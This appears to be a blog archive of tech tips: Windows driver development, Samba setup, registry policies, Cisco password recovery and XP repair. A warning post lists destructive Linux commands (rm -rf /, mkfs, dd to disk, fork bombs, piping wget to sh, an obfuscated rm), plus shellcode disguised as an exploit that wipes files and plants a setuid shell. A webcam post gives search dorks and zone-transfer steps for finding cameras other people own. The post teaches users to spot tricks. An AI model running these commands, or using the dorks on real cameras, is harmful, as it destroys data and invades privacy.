All In One

How to Write a Windows XP Driver

2008-09-11T11:30:00.000-07:00

Summary: This document describes the steps you should take to create a Microsoft® Windows® XP driver for your device. To create a Windows XP device driver:

Install the current Windows DDK. Read the system requirements and installation instructions in the stand-alone Getting Started HTML file supplied with the DDK.
Read Getting Started with Windows Drivers. This document guides you through the planning and decision-making process involved in making a Windows device driver from design through distribution. You should also look through the DDK documentation for device-type-specific information.

The DDK documentation set has the following device-type-specific nodes:

Battery Devices
Display and Print Devices
IEEE 1284.4 Devices
Interactive Input Devices
Modem Devices
Multifunction Devices
Network Devices and Protocols
Parallel Ports and Devices
Serial Ports and Devices
Smart Card Devices
Still Image Devices
Storage Devices
Streaming Devices (Video and Audio)
Devices Requiring VDDs

IDE bus are described in System Support for Buses. Driver development for most device types also requires a strong understanding of Windows operating system fundamentals, which are described in Kernel-Mode Driver Architecture.
Look through the driver source code provided with the DDK for a sample that represents your device type. Use the sample code where possible, modifying it for your device's specifics.
The sample code can enhance your understanding of Windows XP driver implementation requirements and speed your development time.
Compile and build your driver. This should be done using the Build utility and not some other compiler, because the Build utility has certain features that are necessary for driver development.
Obtain a checked build of Windows XP, so that you can test and debug your driver using free and checked system builds.
The checked build of Windows XP provides extensive kernel-mode debugging capabilities not available in the free build.
Create an INF file so that you can install and test your driver.
Test and debug your driver. You should use Driver Verifier, a program that puts your driver through a variety of tests, stresses, and deliberate failures in order to test its response and reliability in many extreme situations. You should also use a debugger. Microsoft provides several powerful debuggers that can monitor and debug kernel-mode and user-mode drivers.
Using Driver Verifier in conjunction with these debuggers, on both the checked and free versions of the operating system, can be a powerful way to test your driver.
Provide an installation package so that customers can install devices that use your driver.
Submit your driver and installation package to Microsoft so that it can be digitally signed.

There are many resources available to you while developing your driver. The following sites describe some of the support available to you:

http://www.microsoft.com/ddk describes how to obtain the current DDK and provides other information, such as a driver development reading list.
http://www.microsoft.com/hwdev provides information, such as device-type-specific white papers and late-breaking news, and a list of resources available to driver developers.
http://support.microsoft.com/support/ddk contains DDK product support information.

Malicious Commands Ubuntu / Linux Bad / Harmful / Risky Commands

2007-11-29T21:21:00.000-08:00

As requested by some, for the education of our users, here are some common examples of dangerous commands that should raise a bright red flag. Again, these are extremely dangerous and should not be attempted on a computer that has any physical connection to valuable data -- many of them will even cause damage from a LiveCD environment.

Again, DANGEROUS COMMANDS -- look but DO NOT RUN.

Also, this is far from an exhaustive list, but should give you some clues as to what kind of things people may try to trick you into doing. Remember this can always be disguised in an obfuscated command or as a part of a long procedure, so the bottom line is take caution for yourself when something just doesn't "feel right".

Delete all files, delete current directory, and delete visible files in current directory. It's quite obvious why these commands can be dangerous to execute.

Code:

rm -rf /
rm -rf .
rm -rf *

Reformat: Data on device mentioned after the mkfs command will be destroyed and replaced with a blank filesystem.

Code:

mkfs
mkfs.ext3
mkfs.anything

Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data:

Code:

any_command > /dev/sda
dd if=something of=/dev/sda

Forkbomb: Executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates.
In Bourne-ish shells, like Bash: (This thing looks really intriguing and curiousity provokes)

Code:

:(){:|:&};:

In Perl

Code:

fork while fork

Tarbomb: Someone asks you to extract a tar archive into an existing directory. This tar archive can be crafted to explode into a million files, or inject files into the system by guessing filenames. You should make the habit of decompressing tars inside a cleanly made directory

Decompression bomb: Someone asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of GB's, filling your hard drive. You should not touch data from an untrusted source

Shellscript: Someone gives you the link to a shellscript to execute. This can contain any command he chooses -- benign or malevolent. Do not execute code from people you don't trust

Code:

wget http://some_place/some_file
sh ./some_file

Code:

wget http://some_place/some_file -O- | sh

Compiling code: Someone gives you source code then tells you to compile it. It is easy to hide malicious code as a part of a large wad of source code, and source code gives the attacker a lot more creativity for disguising malicious payloads. Do not compile OR execute the compiled code unless the source is of some well-known application, obtained from a reputable site (i.e. SourceForge, the author's homepage, an Ubuntu address).

A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. In it was this payload:

Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
               = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                 "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                 "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                 "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                 "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                 "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                 "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                 "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

To the new or even lightly experienced computer user, this looks like the "hex code gibberish stuff" that is so typical of a safe proof-of-concept. However, this actually runs rm -rf ~ / & which will destroy your home directory as a regular user, or all files as root. If you could see this command in the hex string, then you don't need to be reading this announcement. Otherwise, remember that these things can come in very novel forms -- watch out.

Again, recall these are not at all comprehensive and you should not use this as a checklist to determine if a command is dangerous or not!

For example, 30 seconds in Python yields something like this:

Code:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Where "sn!.sg!+" is simply rm -rf * shifted a character up. Of course this is a silly example -- I wouldn't expect anyone to be foolish enough to paste this monstrous thing into their terminal without suspecting something might be wrong.

Configure The Network Samba/Ubuntu

2007-11-28T00:14:00.000-08:00

Installing And Configuring The Rest Of The System

Enable root user

Now I can login with the username and password i entered above. First I enable the root user for ease of installation. You can disable it later if you want.

sudo passwd root
su

Now we are logged in as root user.

Configure The Network

Because the Ubuntu installer has configured our system to get its network settings via DHCP, we have to change that now because a server should have a static IP address. Edit /etc/network/interfaces and adjust it to your needs (in this example setup I will use the IP address 192.168.0.100):

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# This is a list of hotpluggable network interfaces.
# They will be activated automatically by the hotplug subsystem.
mapping hotplug
      script grep
      map eth0

# The primary network interface
auto eth0
iface eth0 inet static
      address 192.168.0.100
      netmask 255.255.255.0
      network 192.168.0.0
      broadcast 192.168.0.255
      gateway 192.168.0.1

Then restart your network:

/etc/init.d/networking restart

Edit /etc/hosts and add your new IP address(es):

127.0.0.1       localhost.localdomain   localhost       server1
192.168.0.100   server1.example.com     server1


# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts

Setting The Hostname

echo server1.example.com > /etc/hostname
/bin/hostname -F /etc/hostname

Edit /etc/apt/sources.list And Update Your Linux Installation

Edit /etc/apt/sources.list. It should look like this:

# deb cdrom:[Ubuntu 5.10 _Breezy Badger_ - Release i386 (20051012)]/ breezy main restricted

deb http://de.archive.ubuntu.com/ubuntu breezy main restricted
deb-src http://de.archive.ubuntu.com/ubuntu breezy main restricted

## Major bug fix updates produced after the final release of the
## distribution.
deb http://de.archive.ubuntu.com/ubuntu breezy-updates main restricted
deb-src http://de.archive.ubuntu.com/ubuntu breezy-updates main restricted

## Uncomment the following two lines to add software from the 'universe'
## repository.
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## universe WILL NOT receive any review or updates from the Ubuntu security
## team.
deb http://de.archive.ubuntu.com/ubuntu breezy universe
deb-src http://de.archive.ubuntu.com/ubuntu breezy universe

## Uncomment the following two lines to add software from the 'backports'
## repository.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
# deb http://de.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
# deb-src http://de.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse

deb http://security.ubuntu.com/ubuntu breezy-security main restricted
deb-src http://security.ubuntu.com/ubuntu breezy-security main restricted

deb http://security.ubuntu.com/ubuntu breezy-security universe
deb-src http://security.ubuntu.com/ubuntu breezy-security universe

Then run

apt-get update
apt-get upgrade

Install SSH Daemon

apt-get install ssh openssh-server

The Next Steps...

Now you can login to your Server with an SSH Client like putty (http://www.chiark.greenend.org.uk/~sgtatham/putty/). Its easier to follow this howto if you connect to your server with putty and copy and paste the commands. If you want to edit config files on the server, you can use commandline editors like vi, pico or joe or use a program like WinSCP (http://winscp.net/eng/index.php) to edit the files over your SSH connection in a Windows client.

Quota

apt-get install quota

Edit /etc/fstab to look like this (I added ,usrquota,grpquota to the partitions with the mount point / and /home):

# /etc/fstab: static file system information.
#
#                
proc            /proc           proc    defaults        0       0
/dev/sda3       /               ext3    defaults,errors=remount-ro,usrquota,grpquota 0       1
/dev/sda1       /boot           ext3    defaults        0       2
/dev/sda4       /home            ext3    defaults,usrquota,grpquota        0       2
/dev/sda2       none            swap    sw              0       0
/dev/hdc        /media/cdrom0   udf,iso9660 ro,user,noauto  0       0
/dev/fd0        /media/floppy0  auto    rw,user,noauto  0       0

Then run:

touch /quota.user /quota.group
chmod 600 /quota.*
mount -o remount /
touch /home/quota.user /home/quota.group
chmod 600 /home/quota.*
mount -o remount /home
quotacheck -avugm
quotaon -avug

Install And Configure The SAMBA Server

In order to install SAMBA, run

apt-get install samba samba-common samba-doc libcupsys2-gnutls10 libkrb53 winbind smbclient

Edit /etc/samba/smb.conf so that it looks like this

[global]
  workgroup = MYWORKGROUP
  netbios name = SERVER1
  server string = %h server (Samba, Ubuntu)

 
  passdb backend = tdbsam
  security = user
  username map = /etc/samba/smbusers
  name resolve order = wins bcast hosts
  domain logons = yes
  preferred master = yes
  wins support = yes
 
  # Set CUPS for printing
  printcap name = CUPS
  printing = CUPS
 
  # Default logon
  logon drive = H:
  logon script = scripts/logon.bat
  logon path = \\server1\profile\%U


  # Useradd scripts
  add user script = /usr/sbin/useradd -m %u
  delete user script = /usr/sbin/userdel -r %u
  add group script = /usr/sbin/groupadd %g
  delete group script = /usr/sbin/groupdel %g
  add user to group script = /usr/sbin/usermod -G %g %u
  add machine script = /usr/sbin/useradd -s /bin/false/ -d /var/lib/nobody %u
  idmap uid = 15000-20000
  idmap gid = 15000-20000


  # sync smb passwords woth linux passwords
  passwd program = /usr/bin/passwd %u
  passwd chat = *Enter\snew\sUNIX\spassword:* %n\n *Retype\snew\sUNIX\spassword:* %n\n .
  passwd chat debug = yes
  unix password sync = yes
 
  # set the loglevel
  log level = 3


[homes]
  comment = Home
  valid users = %S
  read only = no
  browsable = no


[printers]
  comment = All Printers
  path = /var/spool/samba
  printable = yes
  guest ok = yes
  browsable = no


[netlogon]
  comment = Network Logon Service
  path = /home/samba/netlogon
  admin users = Administrator
  valid users = %U
  read only = no


[profile]
  comment = User profiles
  path = /home/samba/profiles
  valid users = %U
  create mode = 0600
  directory mode = 0700
  writable = yes
  browsable = no

Remark: The "netbios name" in the smb.conf must be the same then the hostname of your server.

workgroup = MYWORKGROUP specifies the Windows domain that the Windows workstations use.

logon drive = H: is the drive letter under which the SAMBA share will appear in the Windows Explorer.

With logon script = scripts/logon.bat you can specify a Windows batch script that is executed as soon as a Windows workstation logs in. If the script does not exist, you can comment out that line.

Create the directories for domain logons and profiles:

mkdir /home/samba
mkdir /home/samba/netlogon
mkdir /home/samba/profiles
mkdir /var/spool/samba
chmod 777 /var/spool/samba/
chown -R root:users /home/samba/
chmod -R 771 /home/samba/

Now we restart Samba:

/etc/init.d/samba restart

Edit /etc/nsswitch.conf. Change the line:

hosts: files dns

to:

hosts: files wins dns

Add all computers of your workgroup in the /etc/hosts file on the server.

192.168.0.100 server1
192.168.0.110 workstation1
192.168.0.111 workstation2
192.168.0.112 workstation3
192.168.0.113 workstation4

Add the root user to the SAMBA password database. The root user (alias: Administrator) will be our domain administrator. This account is needed to add new computers to the SAMBA domain.

smbpasswd -a root

Create the file /etc/samba/smbusers and add the line by executing:

echo "root = Administrator" > /etc/samba/smbusers

This will allow us to use the common windows username "Administrator" as alias for the Linux root user.

Now I will test if the setup is correct:

smbclient -L localhost -U%

The output should look similar to this:

Domain=[MYWORKGROUP] OS=[Unix] Server=[Samba 3.0.14a-Ubuntu]

       Sharename       Type      Comment
       ---------       ----      -------
       netlogon        Disk      Network Logon Service
       print$          Disk      Printer Drivers
       IPC$            IPC       IPC Service (server1 server (Samba, Ubuntu))
       ADMIN$          IPC       IPC Service (server1 server (Samba, Ubuntu))
Domain=[MYWORKGROUP] OS=[Unix] Server=[Samba 3.0.14a-Ubuntu]

       Server               Comment
       ---------            -------
       SERVER1              server1 server (Samba, Ubuntu)

       Workgroup            Master
       ---------            -------
       MDKGROUP             IPRG
       MYWORKGROUP          SERVER1

Setup the default domain groups for windows:

net groupmap modify ntgroup="Domain Admins" unixgroup=root
net groupmap modify ntgroup="Domain Users" unixgroup=users
net groupmap modify ntgroup="Domain Guests" unixgroup=nogroup

Adding Users To Our SAMBA Domain

Now we will add a user, e.g. tom, to our Samba domain. You will have to add a user like this for each user account you want to connect to this SAMBA domain server.

1) Add a linux user tom:

useradd tom -m -G users

2) Add the linux user tom to the SAMBA password database:

smbpasswd -a tom

Adding Shares

Now I will add a share that is accessible by all users.

mkdir -p /home/shares/allusers
chown -R root:users /home/shares/allusers/
chmod -R ug+rwx,o+rx-w /home/shares/allusers/

At the end of the file /etc/samba/smb.conf add the following lines:

[allusers]
 comment = All Users
 path = /home/shares/allusers
 valid users = @users
 force group = users
 create mask = 0660
 directory mask = 0771
 writable = yes

Now we restart Samba:

/etc/init.d/samba restart

Installing CUPS

If you want your SAMBA server to act as a print server also, you have to install and configure CUPS:

apt-get install cupsys cupsys-client cupsys-driver-gimpprint cupsys-driver-gimpprint-data defoma fontconfig foomatic-db foomatic-filters libcupsimage2 libexpat1 libfontconfig1 libfreetype6 libgimpprint1 libjpeg62 libpaper1 libpng12-0 libpoppler0c2 libslp1 libtiff4 patch perl perl-modules ttf-bitstream-vera ucf (1 line!)

To get access to the web interface from my workstation, I will change cups to listen on the Server IP.
Edit /etc/cups/cupsd.conf in the section Network Options:

Listen 127.0.0.1:631
Listen 192.168.0.100:631

Set AuthGroupName to shadow in the section Security Options:

AuthGroupName shadow

To allow access only from my admin workstation (IP: 192.168.0.70), I add Allow From 192.168.0.70 the security options and set AuthClass to Group:


#
# You definitely will want to limit access to the administration functions.
# The default configuration requires a local connection from a user who
# is a member of the system group to do any admin tasks.  You can change
# the group name using the SystemGroup directive.
#

AuthType Basic
AuthClass Group

## Restrict access to local domain
Order Deny,Allow
Deny From All
Allow From 127.0.0.1
Allow From 192.168.0.70

#Encryption Required

Add the cupsys user to the shadow group:

adduser cupsys shadow

and restart the cups daemon:

/etc/init.d/cupsys restart

The cups webinterface is now accessible with any webbrowser from my workstation:

http://192.168.0.100:631/

Now I can login to the cups interface with username root and my root password.

Hint: If there is no linux driver available for your printer and you want to use this printer only from your windows workstations trough SAMBA, you can use the printer manufacturer RAW and install the correct driver on your windows workstation.

If you created a new printer in cups, you will have to add it to samba with the command:

cupsaddsmb -a

Have fun!

Links

All trademarks belong to their respective owner.

HKEY_CURRENT_USER/Software/Microsoft/CurrentVersion/Policies

2007-11-23T01:16:00.000-08:00

Launch Regedit and go to the following Registry Key:
HKEY_CURRENT_USER/Software/M*cro$oft/CurrentVersion/Policies
Under this key, there will definitely be a key named explorer. Now under this
explorer key we can create new DWORD values and modify it's value to 1 in order to
impose the restriction. If you want to remove the Restriction, then you can simply
delete the respective DWORD values or instead change their values to 0. The
following is a list of DWORD values that can be created under the Explorer Key-:
NoDeletePrinter: Disables Deletion of already installed Printers
NoAddPrinter: Disables Addition of new Printers
NoRun : Disables or hides the Run Command
NoSetFolders: Removes Folders from the Settings option on Start Menu (Control
Panel, Printers, Taskbar)
NoSetTaskbar: Removes Taskbar system folder from the Settings option on Start
Menu
NoFind: Removes the Find Tool (Start >Find)
NoDrives: Hides and does not display any Drives in My Computer
NoNetHood: Hides or removes the Network Neighborhood icon from the desktop
NoDesktop: Hides all items including, file, folders and system folders from the
Desktop
NoClose: Disables Shutdown and prevents the user from normally shutting down
Windows.
NoSaveSettings: Means to say, 'Don't save settings on exit'
DisableRegistryTools: Disable Registry Editing Tools (If you disable this option, the
Windows Registry Editor(regedit.exe) too will not work.)
NoRecentDocsHistory: Removes Recent Document system folder from the Start
Menu (IE 4 and above)
ClearRecentDocsOnExit: Clears the Recent Documents system folder on Exit.
Nolnternetlcon: Removes the Internet (system folder) icon from the Desktop
Under the same key:
HKEY_CURRENT_USER/Software/M*cro$oft/CurrentVersion/Policies you can create
new subkeys other than the already existing Explorer key. Now create a new key and
name it System. Under this new key, system we can create the following new
DWORD values(1 for enabling the particular option and 0 for disabling the particular
option):
· NODispCPL: Hides Control Panel
· NoDispBackgroundPage: Hides Background page.
· NoDispScrsavPage: Hides Screen Saver Page
· NoDispAppearancePage: Hides Appearance Page
· NoDispSettingsPage: Hides Settings Page
· NoSecCPL: Disables Password Control Panel
· NoPwdPage: Hides Password Change Page
· NoAdminPaqe: Hides Remote Administration Page
· NoProfilePage: Hides User Profiles Page
· NoDevMgrPage: Hides Device Manager Page
· NoConfigPage: Hides Hardware Profiles Page
· NoFileSysPage: Hides File System Button
· NoVirtMemPage: Hides Virtual Memory Button
Similarly, if we create a new subkey named WinOldApp, we can add the following
DWORD values under it(1 for enabling the particular option and 0 for disabling the
particular option):
Disabled: Disable MS-DOS Prompt
NoRealMode: Disable Single-Mode MS-DOS.

Access Webcams With Google

2007-11-23T00:33:00.000-08:00

A network camera is a camera which is linked to a network and/or the internet. There is no need for a PC. The cam has a mini-PC in it-self!

The camera can be easily accesed with an internet browser. The camera image is usually placed in a certain web page...

Someone has already done a lot of homework and compiled a list of open cameras, you can see this list at www.griffid.com/htm/live_images.html However, lets find our own cameras!

Rufus at http://wonder.i.am has put together a nice list of google hacks that we can use to find these cams..

Axis cameras:

* /view/view.shtml axis 'google'
* "adding live video to one of your own pages a very easy task with an AXIS 2100 Network Camera" 'google'
* "Live view - / - AXIS" 'google'
* "Your browser has JavaScript turned off.For the user interface to work effectively" 'google'
* indexFrame.html axis 'google'
* "Live web imaging unleashed" 'google'

I-Hacked Member: Pay submitted this cool hack..
Find axis 205 webcams with dynamic dns. http://www.axis.com/files/manuals/205_qig_en_21121.pdf http://www.google.com/search?q=allinurl:ax...art=40&sa=N open startmenu open run type cmd (command in early versions of windows)
type nslookup
type server roy.axis.se OR server siegfried.axis.se
ls -d axiscam.net
OR to get a outputfile ls -d axiscam.net >> axiscam.net.txt

Canon cameras:

* sample/LvAppl/ 'google'

MOBOTIX cameras:

* /control/userimage.html 'google'

JVC cameras:

* "©copyright 1999-2003 VICTOR COMPANY OF JAPAN, LIMITED. All rights reserved" 'google' (- finaly I got to know the
meaning of the letters in the brand name JVC
* "V.Networks [Motion Picture(Java)" 'google'
* "Control the Pan/Tilt and move to the Preset Position" 'google'

FlexWatch cameras:

* /app/idxas.html 'google'
* "Saving & Retrieving Mode" 'google'

Panasonic cameras:

* /ViewerFrame?Mode=Motion 'google '

TOSHIBA cameras (maybe you need Java):

* "TOSHIBA Network Camera - User Login" 'google'

Sony cameras:

* /home/homeJ.html 'google'

webcamXP (software):

* "my webcamXP server!" 'google'

Password Recovery Techniques, For Cisco Routers

2007-11-21T03:05:00.001-08:00

Password Recovery Techniques
---------------------------------------------------------------------------
Introduction
This document will explain several password recovery techniques for Cisco
routers. You can perform password recovery on most of the platforms without
changing hardware jumpers, but all platforms require the router to be
reloaded. Password recovery can only be done from the console port
physically attached to the router.
There are three ways to restore enable access to a router when the password
is lost. You can VIEW the password, CHANGE the password, or ERASE the
configuration and start over as if the box was new.
Each procedure follows these basic steps:
1. Configure the router to boot up without reading the configuration
memory (NVRAM). This is sometimes called the test system mode.
2. Reboot the system.
3. Access enable mode (which can be done without a password if you are in
test system mode).
4. VIEW or CHANGE the password, or ERASE the configuration.
5. Reconfigure the router to boot up and read the NVRAM as it normally
does.
6. Reboot the system.
NOTE: Some password recovery requires that a terminal issues a
Break signal; you must be familiar with how your terminal or PC
terminal emulator issues this signal. For example, in ProComm,
the keys Alt-B will by default generate the Break signal, and in
Windows Terminal you press Break or CTRL-Break. Windows Terminal
also allows you to define a function key as BREAK. From the
terminal window, select Function Keys and define one as break by
filling in the characters ^$B (Shift 6, Shift 4, and Capital .
The following six sections contain detailed instructions for specific Cisco
routers. Locate your router in the section headings to determine which
technique to use.
Technique #1
All Cisco 2000 Series, 2500 Series, 3000 Series, 680x0-Based 4000 Series,
7000 Series Running 10.0 or Later in ROMs, IGS Series Running 9.1 or Later
in ROMs
This technique can be used on the 7000 and 7010 only if the router has 10.0
ROMs installed on the RP card. It may be booting Flash 10.0 software, but
it needs the actual ROMs on the processor card as well.
1. Attach a terminal or PC with terminal emulation to the console port of
the router.
2. Type "show version" and record the setting of the configuration
register. It is usually 0x2102 or 0x102.
3. Power the router down, then up.
4. Press the Break key on the terminal within 60 seconds of the power up.
You will see the > prompt with no router name. If you don't, the
terminal is not sending the correct Break signal. In that case, check
the terminal or terminal emulation setup.
5. Type "o/r0x42" at the > prompt to boot from Flash or "o/r 0x41" to
boot from the boot ROMs. Note that this is the letter "o," not the
numeral zero. If you have Flash and it is intact, 0x42 is the best
setting. Use 0x41 only if the Flash is erased or not installed.
NOTE: If you use 0x41, you can only view or erase the
configuration. You cannot change the password.
6. Type "i" at the > prompt. The router will reboot but will ignore its
saved configuration.
7. Answer "no" to all the setup questions.
8. Type "enable" at the "Router>" prompt. You'll be in enable mode and
see the "Router#" prompt.
9. Choose one of these three options:
o To VIEW the password type "show config."
o To CHANGE the password (in case it is encrypted, for example):
a. Type "config mem" to copy the NVRAM into memory.
b. Type "config term" and make the changes to the configuration.
conf t
enable password password
ctrl-z
c. Type "write mem" to commit the changes.
o To ERASE the config, type "write erase.
10. Type "config term" at the prompt.
11. Type "config-register 0x2102," or whatever value you recorded in step
2.
12. Hit Ctrl-Z to quit from editor.
13. Type "reload" at the prompt. You do not need to write memory.
Technique #2
Cisco 1003, 4500, or IDT Orion-Based Routers
1. Attach a terminal or PC with terminal emulation to the console port of
the router.
2. Type "show version" and record the setting of the configuration
register. It is usually 0x2102 or 0x102.
3. Power the router down, then up.
4. Press the Break key on the terminal within 60 seconds of the power up.
You will see the "rommon>" prompt. If you don't, the terminal is not
sending the correct Break signal. In that case, check the terminal or
terminal emulation setup.
5. Type "confreg" at the "rommon>" prompt.
6. Answer "y" to the "Do you wish to change configuration[y/n]?" prompt.
7. Answer "n" to all of the questions that appear until you reach the
"ignore system config info[y/n]?" prompt. Answer "y."
8. Answer "n" to the remaining questions until you reach the "change boot
characteristics[y/n]?" prompt. Answer "y."
9. At the "enter to boot:" prompt, type "2" followed by a carriage
return. If Flash is erased, type "1." If all Flash is erased, the 4500
must be returned to Cisco for service.
NOTE: If you use "1," you can only view or erase the
configuration. You cannot change the password.
10. A configuration summary is printed. Answer "n" to the "Do you wish to
change configuration[y/n]?" prompt.
11. Type "reset" at the "rommon>" prompt, or power cycle your 4500 or
7500.
12. Once it boots up, answer "no" to all the Setup questions.
13. Type "enable" at the "Router>" prompt. You'll be in enable mode and
see the "Router#" prompt.
14. Choose one of these three options:
o To VIEW the password type "show config."
o To CHANGE the password (in case it is encrypted, for example):
a. Type "config mem" to copy the NVRAM into memory.
b. Type "config term" and make the changes to the configuration.
conf t
enable password password
ctrl-z
c. Type "write mem" to commit the changes.
o To ERASE the config, type "write erase."
15. Type "config term" at the prompt.
16. Type "config-register 0x2102" or whatever value you recorded in step
2.
17. Hit Ctrl-Z to quit from the editor.
18. Type "reload" at the prompt. You do not need to write memory.
Technique #3
IGS Routers Running Software Earlier Than 9.1
IGS routers have a bank of DIP switches on the rear panel. If they are
running software earlier than 9.1, then these switches are used for
password recovery.
1. Attach a terminal or PC with terminal emulation to the console port of
the router.
2. Power the router down.
3. Record the settings of the switches on the rear panel.
4. Set switch 7 ON (or down).
5. Set switches 0-3 OFF (or up).
6. Power the router up. It will boot up to the > prompt.
7. Type "b" at the > prompt. The router is in test-system mode.
8. Press return until the "Test-System>" prompt appears.
9. Type "enable" at the prompt. You'll be in enable mode and see the
"Test-System#" prompt.
10. Choose one of these three options:
o To VIEW the password type "show config."
o To CHANGE the password (in case it is encrypted, for example):
a. Type "config mem" to copy the NVRAM into memory.
b. Type "config term" and make the changes to the configuration.
conf t
enable password password
ctrl-z
c. Type "write mem" to commit the changes.
o To ERASE the config, type "write erase".
11. Restore the switch setting to those recorded in step 3.
12. Reboot the router.
Technique #4
CGS, MGS, AGS, AGS+, 70x0 Running ROMs Lower Than 10.0
1. Attach a terminal or PC with terminal emulation to the console port of
the router.
2. Power the router down.
3. Remove the processor card (CSC/2 or CSC/3 or CSC/4 on AGS/CGS/MGS, or
RP on a 70x0).
4. Change the hardware register from bit position 0 (or 1) to position
15.
5. Re-insert the processor card.
6. Power the router up.
7. Press "b" at the > prompt or "b flash" if you have Flash memory
installed.
8. Press return until the "Test-System>" prompt appears.
9. Type "enable" at the prompt. You'll be in enable mode and see the
"Test-System#" prompt.
10. Choose one of these three options:
o To VIEW the password type "show config."
o To CHANGE the password (in case it is encrypted, for example):
a. Type "config mem" to copy the NVRAM into memory.
b. Type "config term" and make the changes to the configuration.
conf t
enable password password
ctrl-z
c. Type "write mem" to commit the changes.
o To ERASE the config, type "write erase."
11. Power the router down.
12. Remove the processor card and return the jumper on pin 15 to its
original position.
13. Power the router up.
Technique #5
500-CS Communication Servers
The password cannot be recovered from the 500-CS since it does not have a
console port. Your only option is to erase the configuration.
1. Power the router off by unplugging it.
2. Depress and hold the DEFAULT button on the front of the chassis.
3. Power the router back on.
4. Watch the OK and LAN LEDs. They will blink on, and then off.
5. When they blink off (after about 15 seconds), release the DEFAULT
button.
6. In 2-10 minutes, the 500-CS will enter setup mode as if it was factory
new.
7. Configure the router.
You could also recover a password on a 500 by holding the DEFAULT button
down for 30-45 seconds. The system will then be in test mode, and you can
follow the normal procedure for password recovery. See the earlier sections
for details.
Technique #6
Cisco 1020
You must call the Cisco TAC to recover Cisco 1020 passwords. The 1020 will
issue a password override challenge that can only be interpreted by TAC
personnel.

Disposable Email Address

2007-11-21T03:01:00.001-08:00

very handy for sites that send u passwords or activation links on your email....also helps protect your actual email from spam

http://10minutemail.com/10MinuteMail/index.html

Hide All The Desktop Icons

2007-11-21T02:54:00.002-08:00

Here is a simple trick to hide all your desktop icons .
Just go to Start->run.Type regedit.

Go to HKEY_CURRENT_USER,then go to Software,then M*cro$oft,then to Windows,go to Current version,then policies and then click on explorer.

On the right hand side,right click and click on New.Then select DWORD value.
Rename this value as "NoDesktop" (without the quotes).Click on it and set its value to 1 in the value data space.Now restart your pc or just log off and log in back.

You will see that all your Desktop icons are gone.
To get back your icons,go to the DWORD value you created,now either delete it or set its value to 0.

In both cases you will get back all your icons.Try it out.

Windows Xp Repair, How to repaire windows XP without installation

2007-11-21T02:54:00.001-08:00

Some Windows XP Repair Tricks ........

Repair Install
If XP is corrupted to the point where none of the previous solutions get it to boot,
you can do a Repair Install that might work as well as keep the current settings.
Make sure you have your valid WindowsXP key.
The whole process takes about half an hour depending on your computer
If you are being prompted for the administrator's password, you need to choose the 2nd repair option, not the first.

Insert and boot from your WindowsXP CD
At the second R=Repair option, press the R key
This will start the repair
Press F8 for I Agree at the Licensing Agreement
Press R when the directory where WindowsXP is installed is shown. Typically this is C:\WINDOWS
It will then check the C: drive and start copying files
It will automatically reboot when needed. Keep the CD in the drive.
You will then see the graphic part of the repair that is like during a normal install of XP (Collecting Information, Dynamic Update, Preparing Installation, Installing Windows, Finalizing Installation)
When prompted, click on the Next button
When prompted, enter your XP key
Normally you will want to keep the same Workgroup or Domain name
The computer will reboot
Then you will have the same screens as a normal XP Install
Activate if you want (usually a good idea)
Register if you want (but not necessary)
Finish
At this point you should be able to log in with any existing accounts.

--------------------------------------------------------------------------------

NTOSKRNL Missing or Corrupt
If you get an error that NTOSKRNL not found:

Insert and boot from your WindowsXP CD.
At the first R=Repair option, press the R key
Press the number that corresponds to the correct location for the installation of Windows you want to repair.
Typically this will be #1
Change to the drive that has the CD ROM.
CD i386
expand ntkrnlmp.ex_ C:\Windows\System32\ntoskrnl.exe
If WindowsXP is installed in a different location, just make the necessary change to C:\Windows
Take out the CD ROM and type exit

--------------------------------------------------------------------------------

HAL.DLL Missing or Corrupt
If you get an error regarding a missing or corrupt hal.dll file, it might simply be the BOOT.INI file on the root of the C: drive that is misconfigured

Insert and boot from your WindowsXP CD.
At the first R=Repair option, press the R key
Press the number that corresponds to the correct location for the installation of Windows you want to repair.
Typically this will be #1
Type bootcfg /list to show the current entries in the BOOT.INI file
Type bootcfg /rebuild to repair it
Take out the CD ROM and type exit

--------------------------------------------------------------------------------

Corrupted or Missing \WINDOWS\SYSTEM32\CONFIG
If you get the error:
Windows could not start because the following files is missing or corrupt
\WINDOWS\SYSTEM32\CONFIG\SYSTEM or \WINDOWS\SYSTEM32\CONFIG\SOFTWARE

Insert and boot from your WindowsXP CD.
At the first R=Repair option, press the R key
Press the number that corresponds to the correct location for the installation of Windows you want to repair.
Typically this will be #1
Enter in the administrator password when requested
cd \windows\system32\config
Depending on which section was corrupted:
ren software software.bad or ren system system.bad
Depending on which section was corrupted
copy \windows\repair\system
copy \windows\repair\software
Take out the CD ROM and type exit

--------------------------------------------------------------------------------

NTLDR or NTDETECT.COM Not Found
